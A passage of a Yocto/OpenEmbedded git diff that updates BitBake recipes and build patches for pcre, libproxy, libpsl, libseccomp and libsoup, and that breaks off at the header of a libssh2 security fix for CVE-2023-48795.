+PACKAGECONFIG[pcretest-readline] = "--enable-pcretest-libreadline,--disable-pcretest-libreadline,readline,"
+PACKAGECONFIG[unicode-properties] = "--enable-unicode-properties,--disable-unicode-properties"
+PACKAGECONFIG[jit] = "--enable-jit=auto,--disable-jit"
+
+BINCONFIG = "${bindir}/pcre-config"
+
+inherit autotools binconfig-disabled ptest
+
+EXTRA_OECONF = "--enable-utf"
+
+PACKAGES =+ "libpcrecpp libpcreposix pcregrep pcregrep-doc pcretest pcretest-doc"
+
+SUMMARY:libpcrecpp = "${SUMMARY} - C++ wrapper functions"
+SUMMARY:libpcreposix = "${SUMMARY} - C wrapper functions based on the POSIX regex API"
+SUMMARY:pcregrep = "grep utility that uses perl 5 compatible regexes"
+SUMMARY:pcregrep-doc = "grep utility that uses perl 5 compatible regexes - docs"
+SUMMARY:pcretest = "program for testing Perl-comatible regular expressions"
+SUMMARY:pcretest-doc = "program for testing Perl-comatible regular expressions - docs"
+
+FILES:libpcrecpp = "${libdir}/libpcrecpp.so.*"
+FILES:libpcreposix = "${libdir}/libpcreposix.so.*"
+FILES:pcregrep = "${bindir}/pcregrep"
+FILES:pcregrep-doc = "${mandir}/man1/pcregrep.1"
+FILES:pcretest = "${bindir}/pcretest"
+FILES:pcretest-doc = "${mandir}/man1/pcretest.1"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}
+ cp ${WORKDIR}/Makefile $t
+ cp -r ${S}/testdata $t
+ for i in pcre_stringpiece_unittest pcregrep pcretest; \
+ do cp ${B}/.libs/$i $t; \
+ done
+ for i in RunTest RunGrepTest test-driver; \
+ do cp ${S}/$i $t; \
+ done
+ # Skip the fr_FR locale test. If the locale fr_FR is found, it is tested.
+ # If not found, the test is skipped. The test program assumes fr_FR is non-UTF-8
+ # locale so the test fails if fr_FR is UTF-8 locale.
+ sed -i -e 's:do3=yes:do3=no:g' ${D}${PTEST_PATH}/RunTest
+}
+
+RDEPENDS:${PN}-ptest += "make"
diff --git a/meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch b/meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch
deleted file mode 100644
index fedda9dd95..0000000000
--- a/meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 2d73469c7a17ebfe4330ac6643b0c8abdc125d05 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 30 Jan 2019 09:29:44 -0800
-Subject: [PATCH] get-pac-test: Fix build with clang/libc++
-
-get-pac-test.cpp:55:10: error: assigning to 'int' from incompatible type '__bind<int &, sockaddr *, unsigned int>'
- ret = bind(m_sock, (sockaddr*)&addr, sizeof (struct sockaddr_in)); ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Submitted [https://github.com/libproxy/libproxy/pull/97]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libproxy/test/get-pac-test.cpp | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libproxy/test/get-pac-test.cpp b/libproxy/test/get-pac-test.cpp
-index 0059dfb..911f296 100644
---- a/libproxy/test/get-pac-test.cpp
-+++ b/libproxy/test/get-pac-test.cpp
-@@ -52,7 +52,7 @@ class TestServer {
-
- setsockopt(m_sock, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
-
-- ret = bind(m_sock, (sockaddr*)&addr, sizeof (struct sockaddr_in));
-+ ret = ::bind(m_sock, (sockaddr*)&addr, sizeof (struct sockaddr_in));
- assert(!ret);
-
- ret = listen(m_sock, 1);
---
-2.20.1
-
diff --git a/meta/recipes-support/libproxy/libproxy_0.4.15.bb b/meta/recipes-support/libproxy/libproxy_0.4.15.bb
deleted file mode 100644
index 19dddebd44..0000000000
--- a/meta/recipes-support/libproxy/libproxy_0.4.15.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-SUMMARY = "Library providing automatic proxy configuration management"
-HOMEPAGE = "https://github.com/libproxy/libproxy"
-BUGTRACKER = "https://github.com/libproxy/libproxy/issues"
-SECTION = "libs"
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://utils/proxy.c;beginline=1;endline=18;md5=55152a1006d7dafbef32baf9c30a99c0"
-
-DEPENDS = "glib-2.0"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://0001-get-pac-test-Fix-build-with-clang-libc.patch \
- "
-SRC_URI[md5sum] = "f6b1d2a1e17a99cd3debaae6d04ab152"
-SRC_URI[sha256sum] = "654db464120c9534654590b6683c7fa3887b3dad0ca1c4cd412af24fbfca6d4f"
-
-UPSTREAM_CHECK_URI = "https://github.com/libproxy/libproxy/releases"
-UPSTREAM_CHECK_REGEX = "libproxy-(?P<pver>.*)\.tar"
-
-inherit cmake pkgconfig
-
-PACKAGECONFIG ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gnome', '', d)} gnome3"
-PACKAGECONFIG[gnome] = "-DWITH_GNOME=yes,-DWITH_GNOME=no,gconf"
-PACKAGECONFIG[gnome3] = "-DWITH_GNOME3=yes,-DWITH_GNOME3=no"
-
-EXTRA_OECMAKE += " \
- -DWITH_KDE=no \
- -DWITH_MOZJS=no \
- -DWITH_NM=no \
- -DWITH_PERL=no \
- -DWITH_PYTHON2=no \
- -DWITH_PYTHON3=no \
- -DWITH_WEBKIT=no \
- -DLIB_INSTALL_DIR=${libdir} \
- -DLIBEXEC_INSTALL_DIR=${libexecdir} \
-"
-SECURITY_PIE_CFLAGS_remove = "-fPIE -pie"
-
-FILES_${PN} += "${libdir}/${BPN}/${PV}/modules"
diff --git a/meta/recipes-support/libproxy/libproxy_0.5.4.bb b/meta/recipes-support/libproxy/libproxy_0.5.4.bb
new file mode 100644
index 0000000000..b4f4c6d254
--- /dev/null
+++ b/meta/recipes-support/libproxy/libproxy_0.5.4.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Library providing automatic proxy configuration management"
+DESCRIPTION = "libproxy provides interfaces to get the proxy that will be \
+used to access network resources. It uses various plugins to get proxy \
+configuration via different mechanisms (e.g. environment variables or \
+desktop settings)."
+HOMEPAGE = "https://github.com/libproxy/libproxy"
+BUGTRACKER = "https://github.com/libproxy/libproxy/issues"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
+ file://src/libproxy/proxy.c;beginline=1;endline=20;md5=bb9a177ef1c995311070f34c5638a402 \
+ "
+
+DEPENDS = "glib-2.0"
+
+SRC_URI = "git://github.com/libproxy/libproxy;protocol=https;branch=main"
+SRCREV = "dff9a603d823dcc740ec966cd27960daa6b891b1"
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig gobject-introspection vala gi-docgen
+GIDOCGEN_MESON_OPTION = 'docs'
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[curl] = "-Dcurl=true,-Dcurl=false,curl"
+PACKAGECONFIG[config-gnome] = "-Dconfig-gnome=true,-Dconfig-gnome=false,gsettings-desktop-schemas"
+PACKAGECONFIG[pacrunner-duktape] = "-Dpacrunner-duktape=true,-Dpacrunner-duktape=false,duktape"
+
+FILES:${PN} += "${libdir}/${BPN}/${PV}/modules"
diff --git a/meta/recipes-support/libpsl/libpsl/0001-Makefile.am-use-PYTHON-when-invoking-psl-make-dafsa.patch b/meta/recipes-support/libpsl/libpsl/0001-Makefile.am-use-PYTHON-when-invoking-psl-make-dafsa.patch
deleted file mode 100644
index 6d6ccf4d25..0000000000
--- a/meta/recipes-support/libpsl/libpsl/0001-Makefile.am-use-PYTHON-when-invoking-psl-make-dafsa.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From a0e6f0ec9dc6dd1db1c03f7f273cc16cb3af5561 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Thu, 11 Jul 2019 17:47:11 +0100
-Subject: [PATCH] Makefile.am: use PYTHON when invoking psl-make-dafsa
-
-In an environment where only Python 3 is installed, configure.ac finds and sets
-PYTHON=python3 correctly but src/psl-make-dafsa is called directly, so the hashbang of
-`#!/usr/bin/env python` is used which doesn't exist.
-
-Fix this by explicitly running $(PYTHON) when using the tool.
-
-Upstream-Status: Backport [https://github.com/rockdaboot/libpsl/commit/b4fec5d0ddb70fc4f5360eb14f2f5c5e91194333]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/Makefile.am | 2 +-
- tests/Makefile.am | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/src/Makefile.am b/src/Makefile.am
-index f9c0a3d..a05ea05 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -19,7 +19,7 @@ libpsl_la_LDFLAGS = -no-undefined -version-info $(LIBPSL_SO_VERSION)
- # Build rule for suffix_dafsa.c
- # PSL_FILE can be set by ./configure --with-psl-file=[PATH]
- suffixes_dafsa.h: $(PSL_FILE) $(srcdir)/psl-make-dafsa
-- $(srcdir)/psl-make-dafsa --output-format=cxx+ "$(PSL_FILE)" suffixes_dafsa.h
-+ $(PYTHON) $(srcdir)/psl-make-dafsa --output-format=cxx+ "$(PSL_FILE)" suffixes_dafsa.h
-
- EXTRA_DIST = psl-make-dafsa LICENSE.chromium
-
-diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 8b29b61..28a9a0b 100644
---- a/tests/Makefile.am
-+++ b/tests/Makefile.am
-@@ -34,9 +34,9 @@ TESTS = $(PSL_TESTS)
- # check-local target works in parallel to the tests, so the test suite will likely fail
- BUILT_SOURCES = psl.dafsa psl_ascii.dafsa
- psl.dafsa: $(top_srcdir)/list/public_suffix_list.dat
-- $(top_srcdir)/src/psl-make-dafsa --output-format=binary "$(PSL_FILE)" psl.dafsa
-+ $(PYTHON) $(top_srcdir)/src/psl-make-dafsa --output-format=binary "$(PSL_FILE)" psl.dafsa
- psl_ascii.dafsa: $(top_srcdir)/list/public_suffix_list.dat
-- $(top_srcdir)/src/psl-make-dafsa --output-format=binary --encoding=ascii "$(PSL_FILE)" psl_ascii.dafsa
-+ $(PYTHON) $(top_srcdir)/src/psl-make-dafsa --output-format=binary --encoding=ascii "$(PSL_FILE)" psl_ascii.dafsa
-
- clean-local:
- rm -f psl.dafsa psl_ascii.dafsa
---
-2.17.1
-
diff --git a/meta/recipes-support/libpsl/libpsl/0001-gtk-doc-do-not-include-tree_index.sgml.patch b/meta/recipes-support/libpsl/libpsl/0001-gtk-doc-do-not-include-tree_index.sgml.patch
deleted file mode 100644
index c78d6fd981..0000000000
--- a/meta/recipes-support/libpsl/libpsl/0001-gtk-doc-do-not-include-tree_index.sgml.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 8691105e1808ec9b031b6c25f70204a0908ae9c1 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Sat, 1 Jun 2019 13:09:41 +0200
-Subject: [PATCH] gtk-doc: do not include tree_index.sgml
-
-gtk-doc 1.30 no longer generates the file if the object tree is empty
-
-Upstream-Status: Backport [87d1add318b5e5d09977f7f374e923577b6ff3be]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- docs/libpsl/libpsl-docs.sgml | 4 ----
- 1 file changed, 4 deletions(-)
-
-diff --git a/docs/libpsl/libpsl-docs.sgml b/docs/libpsl/libpsl-docs.sgml
-index 1eca9a2..1c38dbc 100644
---- a/docs/libpsl/libpsl-docs.sgml
-+++ b/docs/libpsl/libpsl-docs.sgml
-@@ -22,10 +22,6 @@
- </para>
- <xi:include href="xml/libpsl.xml"/>
- </chapter>
-- <chapter id="object-tree">
-- <title>Object Hierarchy</title>
-- <xi:include href="xml/tree_index.sgml"/>
-- </chapter>
- <index id="api-index-full">
- <title>API Index</title>
- <xi:include href="xml/api-index-full.xml"><xi:fallback /></xi:include>
diff --git a/meta/recipes-support/libpsl/libpsl_0.21.0.bb b/meta/recipes-support/libpsl/libpsl_0.21.0.bb
deleted file mode 100644
index 9831b4b94f..0000000000
--- a/meta/recipes-support/libpsl/libpsl_0.21.0.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "Public Suffix List library"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5437030d9e4fbe7267ced058ddb8a7f5 \
- file://COPYING;md5=f41d10997a12da5ee3c24ceeb0148d18"
-
-SRC_URI = "https://github.com/rockdaboot/${BPN}/releases/download/${BP}/${BP}.tar.gz \
- file://0001-gtk-doc-do-not-include-tree_index.sgml.patch \
- file://0001-Makefile.am-use-PYTHON-when-invoking-psl-make-dafsa.patch \
- "
-SRC_URI[md5sum] = "171e96d887709e36a57f4ee627bf82d2"
-SRC_URI[sha256sum] = "41bd1c75a375b85c337b59783f5deb93dbb443fb0a52d257f403df7bd653ee12"
-
-UPSTREAM_CHECK_URI = "https://github.com/rockdaboot/libpsl/releases"
-
-DEPENDS = "libidn2"
-
-inherit autotools gettext gtk-doc manpages pkgconfig lib_package
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[manpages] = "--enable-man,--disable-man,libxslt-native"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpsl/libpsl_0.21.5.bb b/meta/recipes-support/libpsl/libpsl_0.21.5.bb
new file mode 100644
index 0000000000..b9341a986e
--- /dev/null
+++ b/meta/recipes-support/libpsl/libpsl_0.21.5.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Public Suffix List library"
+DESCRIPTION = "The libpsl package provides a library for accessing and \
+resolving information from the Public Suffix List (PSL). The PSL is a set of \
+domain names beyond the standard suffixes, such as .com."
+
+HOMEPAGE = "https://rockdaboot.github.io/libpsl/"
+BUGTRACKER = "https://github.com/rockdaboot/libpsl/issues"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=9f9e317096db2a598fc44237c5b8a4f7 \
+ file://COPYING;md5=9f9e317096db2a598fc44237c5b8a4f7 \
+ "
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.gz \
+ "
+SRC_URI[sha256sum] = "1dcc9ceae8b128f3c0b3f654decd0e1e891afc6ff81098f227ef260449dae208"
+
+GITHUB_BASE_URI = "https://github.com/rockdaboot/libpsl/releases"
+
+inherit autotools gettext gtk-doc manpages pkgconfig lib_package github-releases
+
+PACKAGECONFIG ?= "icu"
+PACKAGECONFIG[manpages] = "--enable-man,--disable-man,libxslt-native"
+PACKAGECONFIG[icu] = "--enable-runtime=libicu --enable-builtin=libicu,,icu"
+PACKAGECONFIG[idn2] = "--enable-runtime=libidn2 --enable-builtin=libidn2,,libidn2 libunistring"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libseccomp/files/run-ptest b/meta/recipes-support/libseccomp/files/run-ptest
new file mode 100644
index 0000000000..63c79f09c4
--- /dev/null
+++ b/meta/recipes-support/libseccomp/files/run-ptest
@@ -0,0 +1,7 @@
+#!/bin/sh
+
+cd tests
+sed -i 's/SUCCESS/PASS/g; s/FAILURE/FAIL/g; s/SKIPPED/SKIP/g' regression
+sed -i 's/"Test %s result: %s\\n" "$1" "$2"/"%s: %s\\n" "$2" "$1"/g' regression
+sed -i 's/"Test %s result: %s %s\\n" "$1" "$2" "$3"/"%s: %s %s\\n" "$2" "$1" "$3"/g' regression
+./regression -a
diff --git a/meta/recipes-support/libseccomp/libseccomp_2.5.5.bb b/meta/recipes-support/libseccomp/libseccomp_2.5.5.bb
new file mode 100644
index 0000000000..478e5f4289
--- /dev/null
+++ b/meta/recipes-support/libseccomp/libseccomp_2.5.5.bb
@@ -0,0 +1,62 @@
+SUMMARY = "interface to seccomp filtering mechanism"
+DESCRIPTION = "The libseccomp library provides an easy to use, platform independent, interface to the Linux Kernel's syscall filtering mechanism: seccomp."
+HOMEPAGE = "https://github.com/seccomp/libseccomp"
+SECTION = "security"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=7c13b3376cea0ce68d2d2da0a1b3a72c"
+
+DEPENDS += "gperf-native"
+
+SRCREV = "f0b04ab0b4fc0bc2cde6da1f407b4a487fe6d78f"
+
+SRC_URI = "git://github.com/seccomp/libseccomp.git;branch=release-2.5;protocol=https \
+ file://run-ptest \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit autotools-brokensep pkgconfig ptest features_check
+
+inherit_defer ${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3native', '', d)}
+
+REQUIRED_DISTRO_FEATURES = "seccomp"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[python] = "--enable-python, --disable-python, python3-cython-native"
+
+DISABLE_STATIC = ""
+
+do_compile_ptest() {
+ oe_runmake -C tests check-build
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ install -d ${D}${PTEST_PATH}/tools
+ for file in $(find tests/* -executable -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tests
+ done
+ for file in $(find tests/*.tests -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tests
+ done
+ for file in $(find tests/*.pfc -type f); do
+ install -m 644 ${S}/${file} ${D}/${PTEST_PATH}/tests
+ done
+ install -m 644 ${S}/tests/valgrind_test.supp ${D}/${PTEST_PATH}/tests
+ for file in $(find tools/* -executable -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tools
+ done
+ # Overwrite libtool wrappers with real executables
+ for file in $(find tools/.libs/* -executable -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tools
+ done
+ # fix python shebang
+ sed -i -e 's@cmd /usr/bin/env python @cmd /usr/bin/env python3 @' ${D}/${PTEST_PATH}/tests/regression
+ sed -i -e 's@^#!/usr/bin/env python$@#!/usr/bin/env python3@' ${D}/${PTEST_PATH}/tests/*.py
+}
+
+FILES:${PN} = "${bindir} ${libdir}/${BPN}.so* ${PYTHON_SITEPACKAGES_DIR}/"
+FILES:${PN}-dbg += "${libdir}/${PN}/tests/.debug/* ${libdir}/${PN}/tools/.debug"
+
+RDEPENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3', '', d)}"
+RDEPENDS:${PN}-ptest = "coreutils bash"
diff --git a/meta/recipes-support/libsoup/libsoup-2.4/0001-Fix-build-with-libxml2-2.12.0-and-clang-17.patch b/meta/recipes-support/libsoup/libsoup-2.4/0001-Fix-build-with-libxml2-2.12.0-and-clang-17.patch
new file mode 100644
index 0000000000..d867e5bc17
--- /dev/null
+++ b/meta/recipes-support/libsoup/libsoup-2.4/0001-Fix-build-with-libxml2-2.12.0-and-clang-17.patch
@@ -0,0 +1,44 @@
+From ced3c5d8cad0177b297666343f1561799dfefb0d Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 22 Nov 2023 18:49:10 -0800
+Subject: [PATCH] Fix build with libxml2-2.12.0 and clang-17
+
+Fixes build errors about missing function prototypes with clang-17
+
+Fixes
+| ../libsoup-2.74.3/libsoup/soup-xmlrpc-old.c:512:8: error: call to undeclared function 'xmlParseMemory'; ISO C99 and later do not support implicit function declarations
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/libsoup/-/merge_requests/385]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libsoup/soup-xmlrpc-old.c | 1 +
+ libsoup/soup-xmlrpc.c | 1 +
+ 2 files changed, 2 insertions(+)
+
+diff --git a/libsoup/soup-xmlrpc-old.c b/libsoup/soup-xmlrpc-old.c
+index c57086b6..527e3b23 100644
+--- a/libsoup/soup-xmlrpc-old.c
++++ b/libsoup/soup-xmlrpc-old.c
+@@ -11,6 +11,7 @@
+
+ #include <string.h>
+
++#include <libxml/parser.h>
+ #include <libxml/tree.h>
+
+ #include "soup-xmlrpc-old.h"
+diff --git a/libsoup/soup-xmlrpc.c b/libsoup/soup-xmlrpc.c
+index 42dcda9c..e991cbf0 100644
+--- a/libsoup/soup-xmlrpc.c
++++ b/libsoup/soup-xmlrpc.c
+@@ -17,6 +17,7 @@
+
+ #include <string.h>
+ #include <errno.h>
++#include <libxml/parser.h>
+ #include <libxml/tree.h>
+ #include "soup-xmlrpc.h"
+ #include "soup.h"
+--
+2.43.0
+
diff --git a/meta/recipes-support/libsoup/libsoup-2.4_2.70.0.bb b/meta/recipes-support/libsoup/libsoup-2.4_2.70.0.bb
deleted file mode 100644
index d6425bd941..0000000000
--- a/meta/recipes-support/libsoup/libsoup-2.4_2.70.0.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "An HTTP library implementation in C"
-HOMEPAGE = "https://wiki.gnome.org/Projects/libsoup"
-BUGTRACKER = "https://bugzilla.gnome.org/"
-SECTION = "x11/gnome/libs"
-LICENSE = "LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
-
-DEPENDS = "glib-2.0 glib-2.0-native libxml2 sqlite3 intltool-native libpsl"
-
-SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
-
-SRC_URI = "${GNOME_MIRROR}/libsoup/${SHRT_VER}/libsoup-${PV}.tar.xz"
-SRC_URI[md5sum] = "c539f5b5ab534f024dc4e6a14e6d3f54"
-SRC_URI[sha256sum] = "54b020f74aefa438918d8e53cff62e2b1e59efe2de53e06b19a4b07b1f4d5342"
-
-CVE_PRODUCT = "libsoup"
-
-S = "${WORKDIR}/libsoup-${PV}"
-
-inherit meson gettext pkgconfig upstream-version-is-even gobject-introspection gtk-doc
-
-GIR_MESON_ENABLE_FLAG = 'enabled'
-GIR_MESON_DISABLE_FLAG = 'disabled'
-
-# libsoup-gnome is entirely deprecated and just stubs in 2.42 onwards. Disable by default.
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[gnome] = "-Dgnome=true,-Dgnome=false"
-PACKAGECONFIG[gssapi] = "-Dgssapi=enabled,-Dgssapi=disabled,krb5"
-
-EXTRA_OEMESON_append = " -Dvapi=disabled -Dtls_check=false"
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-
-# When built without gnome support, libsoup-2.4 will contain only one shared lib
-# and will therefore become subject to renaming by debian.bbclass. Prevent
-# renaming in order to keep the package name consistent regardless of whether
-# gnome support is enabled or disabled.
-DEBIAN_NOAUTONAME_${PN} = "1"
-
-# glib-networking is needed for SSL, proxies, etc.
-RRECOMMENDS_${PN} = "glib-networking"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libsoup/libsoup-2.4_2.74.3.bb b/meta/recipes-support/libsoup/libsoup-2.4_2.74.3.bb
new file mode 100644
index 0000000000..ee20530b64
--- /dev/null
+++ b/meta/recipes-support/libsoup/libsoup-2.4_2.74.3.bb
@@ -0,0 +1,59 @@
+SUMMARY = "An HTTP library implementation in C"
+DESCRIPTION = "libsoup is an HTTP client/server library for GNOME. It uses GObjects \
+and the glib main loop, to integrate well with GNOME applications."
+HOMEPAGE = "https://wiki.gnome.org/Projects/libsoup"
+BUGTRACKER = "https://bugzilla.gnome.org/"
+SECTION = "x11/gnome/libs"
+LICENSE = "LGPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
+
+DEPENDS = "glib-2.0 glib-2.0-native libxml2 sqlite3 libpsl"
+
+SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
+
+SRC_URI = "${GNOME_MIRROR}/libsoup/${SHRT_VER}/libsoup-${PV}.tar.xz \
+ file://0001-Fix-build-with-libxml2-2.12.0-and-clang-17.patch"
+SRC_URI[sha256sum] = "e4b77c41cfc4c8c5a035fcdc320c7bc6cfb75ef7c5a034153df1413fa1d92f13"
+
+CVE_PRODUCT = "libsoup"
+
+S = "${WORKDIR}/libsoup-${PV}"
+
+inherit meson gettext pkgconfig upstream-version-is-even gobject-introspection gtk-doc
+
+UPSTREAM_CHECK_REGEX = "libsoup-(?P<pver>2(\.(?!99)\d+)+)\.tar"
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[brotli] = "-Dbrotli=enabled,-Dbrotli=disabled,brotli"
+# libsoup-gnome is entirely deprecated and just stubs in 2.42 onwards
+PACKAGECONFIG[gnome] = "-Dgnome=true,-Dgnome=false"
+PACKAGECONFIG[gssapi] = "-Dgssapi=enabled,-Dgssapi=disabled,krb5"
+PACKAGECONFIG[ntlm] = "-Dntlm=enabled,-Dntlm=disabled"
+PACKAGECONFIG[sysprof] = "-Dsysprof=enabled,-Dsysprof=disabled,sysprof"
+
+# Tell libsoup where the target ntlm_auth is installed
+do_write_config:append:class-target() {
+ cat >${WORKDIR}/soup.cross <<EOF
+[binaries]
+ntlm_auth = '${bindir}/ntlm_auth'
+EOF
+}
+EXTRA_OEMESON:append:class-target = " --cross-file ${WORKDIR}/soup.cross"
+
+EXTRA_OEMESON += "-Dvapi=disabled -Dtls_check=false"
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+# When built without gnome support, libsoup-2.4 will contain only one shared lib
+# and will therefore become subject to renaming by debian.bbclass. Prevent
+# renaming in order to keep the package name consistent regardless of whether
+# gnome support is enabled or disabled.
+DEBIAN_NOAUTONAME:${PN} = "1"
+
+# glib-networking is needed for SSL, proxies, etc.
+RRECOMMENDS:${PN} = "glib-networking"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libsoup/libsoup_3.4.4.bb b/meta/recipes-support/libsoup/libsoup_3.4.4.bb
new file mode 100644
index 0000000000..6f7cac4cf8
--- /dev/null
+++ b/meta/recipes-support/libsoup/libsoup_3.4.4.bb
@@ -0,0 +1,59 @@
+SUMMARY = "An HTTP library implementation in C"
+DESCRIPTION = "libsoup is an HTTP client/server library for GNOME. It uses GObjects \
+and the glib main loop, to integrate well with GNOME applications."
+HOMEPAGE = "https://wiki.gnome.org/Projects/libsoup"
+BUGTRACKER = "https://bugzilla.gnome.org/"
+SECTION = "x11/gnome/libs"
+LICENSE = "LGPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
+
+DEPENDS = "glib-2.0 glib-2.0-native libxml2 sqlite3 libpsl nghttp2"
+
+SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
+
+SRC_URI = "${GNOME_MIRROR}/libsoup/${SHRT_VER}/libsoup-${PV}.tar.xz"
+SRC_URI[sha256sum] = "291c67725f36ed90ea43efff25064b69c5a2d1981488477c05c481a3b4b0c5aa"
+
+PROVIDES = "libsoup-3.0"
+CVE_PRODUCT = "libsoup"
+
+S = "${WORKDIR}/libsoup-${PV}"
+
+inherit meson gettext pkgconfig upstream-version-is-even gobject-introspection gi-docgen vala
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[brotli] = "-Dbrotli=enabled,-Dbrotli=disabled,brotli"
+PACKAGECONFIG[gssapi] = "-Dgssapi=enabled,-Dgssapi=disabled,krb5"
+PACKAGECONFIG[ntlm] = "-Dntlm=enabled,-Dntlm=disabled"
+PACKAGECONFIG[sysprof] = "-Dsysprof=enabled,-Dsysprof=disabled,sysprof"
+
+# Tell libsoup where the target ntlm_auth is installed
+do_write_config:append:class-target() {
+ cat >${WORKDIR}/soup.cross <<EOF
+[binaries]
+ntlm_auth = '${bindir}/ntlm_auth'
+EOF
+}
+EXTRA_OEMESON:append:class-target = " --cross-file ${WORKDIR}/soup.cross"
+
+EXTRA_OEMESON += "-Dtls_check=false"
+# Disable the test suites
+EXTRA_OEMESON += "-Dtests=false -Dautobahn=disabled -Dpkcs11_tests=disabled"
+
+GIDOCGEN_MESON_OPTION = 'docs'
+GIDOCGEN_MESON_ENABLE_FLAG = 'enabled'
+GIDOCGEN_MESON_DISABLE_FLAG = 'disabled'
+
+# When built without gnome support, libsoup will contain only one shared lib
+# and will therefore become subject to renaming by debian.bbclass. Prevent
+# renaming in order to keep the package name consistent regardless of whether
+# gnome support is enabled or disabled.
+DEBIAN_NOAUTONAME:${PN} = "1"
+
+# glib-networking is needed for SSL, proxies, etc.
+RRECOMMENDS:${PN} = "glib-networking"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libssh2/libssh2/CVE-2023-48795.patch b/meta/recipes-support/libssh2/libssh2/CVE-2023-48795.patch
new file mode 100644
index 0000000000..ab0f419ac5
--- /dev/null
+++ b/meta/recipes-support/libssh2/libssh2/CVE-2023-48795.patch
@@ -0,0 +1,466 @@
+From d4634630432594b139b3af6b9f254b890c0f275d Mon Sep 17 00:00:00 2001
+From: Michael Buckley <michael@buckleyisms.com>
+Date: Thu, 30 Nov 2023 15:08:02 -0800
+Subject: [PATCH] src: add 'strict KEX' to fix CVE-2023-48795 "Terrapin Attack"
+
+Refs:
+https://terrapin-attack.com/
+https://seclists.org/oss-sec/2023/q4/292
+https://osv.dev/list?ecosystem=&q=CVE-2023-48795
+https://github.com/advisories/GHSA-45x7-px36-x8w8
+https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-48795
+
